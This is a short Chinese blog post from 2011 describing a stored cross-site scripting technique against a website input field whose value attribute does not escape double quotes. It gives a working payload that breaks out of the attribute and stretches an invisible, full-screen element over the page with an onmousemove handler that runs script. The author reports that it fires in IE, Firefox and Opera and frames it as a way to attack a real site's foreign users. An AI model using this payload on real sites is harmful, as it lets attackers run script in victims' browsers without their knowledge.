关于属性中没有对双引号转义的XSS方式 FF IE Opera通杀

Yatere

于 2011-05-14 03:22:00 发布

阅读量1.8k

点赞数

CC 4.0 BY-SA版权

分类专栏： Web 代码注入文章标签： opera ie input 测试

本文链接：https://blog.youkuaiyun.com/yatere/article/details/6418871

Web 代码注入专栏收录该内容

27 篇文章

订阅专栏

本文介绍了一种通过修改HTML元素属性并结合CSS样式和鼠标移动事件实现的跨站脚本(XSS)攻击方法，该方法能在多种浏览器中生效。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

某网站存在一个 storeXSS 利用点如下
<input type=text value="[xsscode]">
可以使用双引号绕过去属性限制，但是不能采用 < > 比较郁闷
开始打算
"style="kj:expression(EXP)
<input type=text value=""style="kj:expression(EXP)">
后来查了查资料！发现expression是IE 才能使用的！郁闷了！
而且要XSS的对象是老外，不一定会采用IE ，这样跨站攻击起来了，但是效果会大打折扣。
想想还是添加事件吧！但是，怎么触发这个事件呢！? 无奈之下让我想到恶心的利用方式，
采用style 进行绝对定位然后透明效果覆盖全屏幕，最后加入onmousemove事件

<input name="kj" value="kj021320" style="position:absolute;z-index:0;top:0px;width:100%; height:100%;left:0px;filter:alpha(opacity=0);-moz-opacity:0.0;opacity:0.0;" onmousemove="if(!window.k){alert(this.style.height=0);window.k=123;}">

最后测试了一下！结果IE FF2 FF3 都OK，另外令我惊喜的是居然opera都通杀！
这个效果不错！哈！来先做个俯卧撑